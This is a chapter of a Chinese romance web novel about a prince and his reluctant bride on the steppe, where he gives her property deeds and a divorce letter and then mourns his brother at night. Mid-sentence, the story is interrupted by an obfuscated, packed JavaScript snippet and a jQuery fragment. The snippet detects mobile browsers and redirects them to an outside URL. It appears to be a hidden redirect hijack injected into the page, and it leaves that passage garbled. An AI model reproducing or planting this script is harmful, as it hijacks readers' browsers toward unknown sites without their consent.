开春回暖,也到了离开大宁的时候。
起初黎湛怕陈效凌眷恋故地,本想入夏再行离开。但届时就是北燕的科举,这种事关国之根本的大事,他不放心交予旁人,只能按时启程。
黎湛不喜排场,故而他们离开并没有极大的阵仗相伴。他来时轻装简行,去时让大部队走官道入境北燕,自己则带着一行人绕道,应陈效凌的要求,专挑景好的地方走。
他们踏过大宁与北燕的边界线之一的凉河,又越过阴山、穿过两个草原,行至北燕国都的门户盼夏草原。自此向西北再行不到二百里,就能抵达燕都。
日落在即,他们需要在途中先歇脚,明日才能启程。
车驾刚停下,陈效凌就跳下去,奔赴一望无际的绿意,花楹和李云期紧跟其后,后面生怕她跌了,却根本跑不过她。
“五殿下和六殿下想必已经等着咱们了,要不先让王妃回来。”何君逸骑马过来。
黎湛目送她的欢脱背影,与绿地渐融,摇头浅笑,“随她去吧。”接着返回车驾,处理尚未完成的政务,等着她玩的差不多了,再行启程。
原野深处,风吹草低,陈效凌提起裙摆跑过草地,享受清香擦过耳垂的恣意,去扑那只栖在草枝的蝴蝶,她眼见蝴蝶翅膀抖落的金粉蹭到手指,忽然犹豫了,是否应该放它高飞。
走神之时,她被没过脚腕的杂草一绊,身子向前倾倒。结果是脸先着地,摔得好不狼狈,脸颊残余的红晕,又覆上一层薄土。
苏煜加快几步,抢在两名侍女前将她扶坐起来,半跪在地,用手帕拭去她鼻尖的尘土,目光柔和:“多大的人了,孩子似的。”
苏煜在她成婚后,原本意图回到蓟北,但陈效凌强行将他留下,并去和黎湛求情。
黎湛也想到,若她远嫁千里之外,身边一个亲人都没有未免残忍。且也看到了苏煜理财的本事,就让他跟着去北燕,在府中帮忙。
李云期暗自摇头,不难看出苏公子对王妃超越兄妹情谊的关心。
遂不动声色将他挡开,半蹲下来。
“王妃,我背您回去吧。”她比陈效凌高出半个头,背起陈效凌十分轻松。
目送她们走远,苏煜莫名有些落寞。
黎鸿款款走近,道:“苏兄弟,有句话当讲不当讲?二嫂已嫁,而你未娶。我知你对她的关怀,但将来你们毕竟要同住一府,人多眼杂,未免有闲话传出。你也应当……”
这话,于情于理都不该他来说。但身为二哥的弟弟,他理应替二哥想到这一层,帮忙维护他们夫妻的关系。
苏煜强颜为笑:“是我疏忽了,我与阿凌一同长大,早就把她当成亲妹妹,故而没有顾忌那么多。”接着感慨道:
“我真没想到,还能看到阿凌嫁人,而且是嫁了这样一位好夫婿。”
“当年义父病重时遭人陷害,有人就拿义父的仕途威胁,逼着阿凌嫁给他……而现如今那人在内阁任职,当真人面兽心。”说到这里,苏煜难掩哀伤。
一听二嫂遭人威胁,黎鸿眉头紧蹙,“后来呢?”
苏煜摇头笑道:“阿凌看着率性,其实有事了都放在心里,当时她都把事情自行解决完了我们才知道。”
黎鸿敛眸不语,心上担着重量,亦有些释怀。
他的余光落入那辆矗在草原的马车,不知车上二人正当如何。
……
花楹和李云期一起将陈效凌搀上马车,黎湛见状立刻上前扶住,让她坐在旁边。
马车内只有两人后,陈效凌拧着眉头,依然能感受到脚腕的阵痛,但有男子在场,她也不便脱鞋,只能忍痛坐正。
黎湛将药匣拿出放在小桌上,又挽起袖子,手轻放在软垫上,示意她把脚放上去。
“我看看。”
两名侍女不能上来,就只能他涂药了。
“不用了王爷,我不疼。”陈效凌摇头时耳环都跟着晃动,顺势向后挪了挪。
黎湛看出她不好意思,温言转了话题:“这样吧,我赠你一样东西,你若是喜欢,我再为你验伤。”说罢拿出一个紫檀匣,郑重地交到她手中。
陈效凌低头浅嗅,木匣散发出令人舒适的木质香,又茫然看向他,只觉这个要求甚是奇怪。
她打开后,里面赫然躺着厚厚一沓纸,她粗略翻了几张,惊讶地微张开嘴。房契、地契几十张……让她一时看花了眼,嘴角止不住上扬,心脏跳的极快。
也就是说,黎湛要将他在大宁所有的房产、地产,都送给她。
“喜欢吗?”黎湛拧开药膏,看到她喜不自胜的表情,暗自笑笑。
小财迷。
“喜欢!!!”陈效凌不假思索说道,一双杏眼弯成了可爱的弧度,嘴角还没来得及放下,可待她翻到最后一张,神情一滞。
那是一张和离书,她大致扫了一眼:
成婚多年,两人相敬如宾,奈何秉性不和,就此一别两宽,唯愿吾妻余生欢喜……
黎湛察觉到她的表情变化,垂眸去调药膏,语调平和:“既然喜欢这份礼物,也该让我验伤了。”
他知成亲并非她之所意,也不欲围困于她,更不愿让她陪自己身处险境。但他改革需要大宁的支持,此时还不是和离之机。只待后面时机成熟,他定会让她回家。
陈效凌脸上笑意全消,喉咙酸涩,看向对方的眼神中,带有不可撼动的坚定。
“我不是贪生怕死之辈。就算……就算要走,我也要等到您完成想做的事,等到您不再需要我的时候。”
“疼的话告诉我。”黎湛将她的腿轻拿上来,再把鞋袜脱去,寻到了红肿之处,轻按了一下。
什么时候需要她?这个说法太模糊,应当换言之:
他也不知道什么时候需要她……什么时候不再需要她。
两人一路无言,陈效凌只觉手中匣有千斤重,欣喜亦变得复杂。能与黎湛和离、回到蓟北安度余生,是她求之不得的事。
但真当告诉她有海阔天空的那一日,她反而觉得不甚真实,总以为亏欠。
落在她脚腕的触碰极温柔,一点一点晕开。蔓延开来的酥痒滋味,逐渐脱离掌控,挑动心弦。
放不下。
陈效凌用手背覆上微热的侧脸,掀开帘子,任由草原的风抚平躁动。
风却带来了远处的马蹄声,只见两个身着异族华服的人,驰马由远及近。
“那是五弟和六弟吗?”她眯眼看清了二人的长相,凭借体貌特征,认出那位五官俊朗、据说是个急性子的,应是老五黎泽;那位气质温雅,秉性平和的是老六黎淳。
黎泽和黎淳的生母是汉人,遂他们并非很标准的北燕长相。
她爬在窗边,朝着会合的兄弟几人挥手。恰外面黎鸿转头回礼,陈效凌觉得他笑起来很好看,放下帘子后,不禁好奇问道:
“我听说赵淑妃是北燕第一美人,怪不得七弟那般英俊……”
话还没说完,许是马车碾过石子,车身颠簸了一下,陈效凌一个没坐稳,撞在了靠枕上。
她坐稳后,想要把脚抽出,对方却丝毫没有松开的意思,脚腕就被他轻易扣在手心里。
仿佛只有她把“七弟英俊”的话就地咽回去,才能作罢。
“下次走路时慢些,脚都肿了。”黎湛松开了她的脚腕,却已在那白净无暇的皮肤,留下清晰指痕。
马车停稳后,他给妻子披了件披风,没给她任何反应的余地,直接拦腰抱起。
“放我下来!”陈效凌大惊,惊呼声梗在嗓子,攥紧了他的袖子,就以这样尴尬的方式被抱了下去。
落地之后,花楹觉察了她的窘迫,及时搀扶。
“五弟好,六弟好。”陈效凌热得耳廓发红,连头都不敢抬,和老五老六问安。
黎泽和黎淳相视一眼,不敢置信,有片刻忘记应当是他们先问好,反应过来后连忙行了北燕的礼。
黎泽甚至回身看了一眼将落的太阳,又仰望天际辨别方向,好生确认
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092250|195481||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一下,太阳是从西边落下的无疑。
“二嫂是扭伤了吧,请去毡房歇息。”黎淳伸手指引,又让侍女上前侍候。
陈效凌恨不得遁地而逃,谢过之后就忍着脚痛,快步离开。黎湛紧随其后,寸步不离。
黎泽注意到了正在出神的黎鸿,循他的目光看去,是刚刚离去的夫妇二人。于是把手放在弟弟眼前晃了晃,打趣道:“七弟莫不是惦记着娶妻了?”
“没有的事。”黎鸿忙将视线撤出,摇头否认,对上六哥审视的目光时,不免思及由他引发的那些不愉快,唇角飞快略过一丝冷笑。
黎淳与之心照不宣,仍保持着礼貌的微笑,如同什么都没发生过寒暄起来。
毕竟天家多薄情,成王败寇,他也没有什么好愧疚的。
黎泽最不喜这些弯弯绕绕,兀自走到一旁遥望斜阳。
日后他曾多次感慨,方才所说算是一语成谶。
七弟惦记娶妻不假……
只不过,是惦记别人的。
……
逢春日落尚早,但一路向北,白昼拉开的屏风明显变长。
晚膳与陈效凌想象中不同,并非香料味很重的牛羊肉,总体上与中原人饮食区别不大。既有黎湛吩咐多关照她的原因在,更多的还是北燕这边包括饮食的习俗,经过多年的演变早就趋于汉化。
他们住在同一帐篷,黎湛看出她不自在,用完晚膳后就寻个借口出去了,等到她入睡再回来。
已入深夜,陈效凌洗去一天的浮尘,擦干头发后,深吸一口气,青草汁碎入泥土的香气充盈在胸口,撩开门帘,仰望星夜。
她远眺笼罩在夜幕里的茫茫原野,脚步不由得随草原的风远行,直到跑到火光照不到的地方,才有摆脱桎梏的恣意。
酒液流淌的声音,在宁静的黑夜里分外清晰。
陈效凌循声,望见了那个宽阔的背影,正跪坐在石碑前斟酒。她走近去看,石碑前有一个盛满酒的杯子。
而黎湛持着酒杯,一言不发,似有心事的样子。
陈效凌对上他的视线,偏头一笑。
黎湛敛去眼底的沉郁,站起身来,温和的语气中似有无奈:“草原风大,穿这么点就出来了。”他又转身朝着石碑拜了三拜,走到她身后为其挡风,“回去吧”
许是喝了点酒,他刚迈出一步,足下就有些不稳。
陈效凌将他搀住,才要把手撤走,黎湛却将胳膊重新放回她手中。
“烦请扶我一下,我酒量不好。”
晚风裹挟着青梅酒的香气,在空旷单调的草原绽放明媚的桃粉色,略湿的头发蹭过他的手背,连同他的目光黏腻,湿漉难分。
黎湛注视她的侧颜,眸色已被月亮搅得迷离。
陈效凌抬眼看他,“您怎么一个人喝闷酒,不知道的还以为我把您赶出来了。”
“我是……来见四弟。”黎湛按下心脏的钝痛,娓娓道来往事。
十三年前,他的四弟黎演死在了西昭,临终前黎演的遗愿,就是希望面北而葬,哪怕历经生生世世轮回,也得以望见母国。黎湛班师回朝后,就在回燕都的必经之地立了一块石碑,每每他经过此处,就会前来祭奠。
黎湛说到伤情之处,语调平静到没有半分波澜,唯有旋即消逝在眼角的一滴泪,让他在茫茫草原诉诸愧疚与哀伤。
他只饮了两杯青梅酒,远不到醉酒的地步,可是眼前稍稍眩晕,一步没站稳,便向前倒下。
陈效凌哪里扶得住身形如此壮实的他,顺势跌倒。
黎湛在摔倒之前,一手撑地,另一只手眼疾手快护住了她的后脑勺。
长发垂下,竹叶香擦过她的侧脸,正伴夜风吹拂,心痒痒的。
天色昏暗,那双凤眸沉于夜色,她看不清其中的意味。
陈效凌下意识将手臂护在前面,惴惴不安地想着最坏的可能。如果他真要借着酒劲儿对她做什么,她也逃不掉。
但这个地方,实在不雅。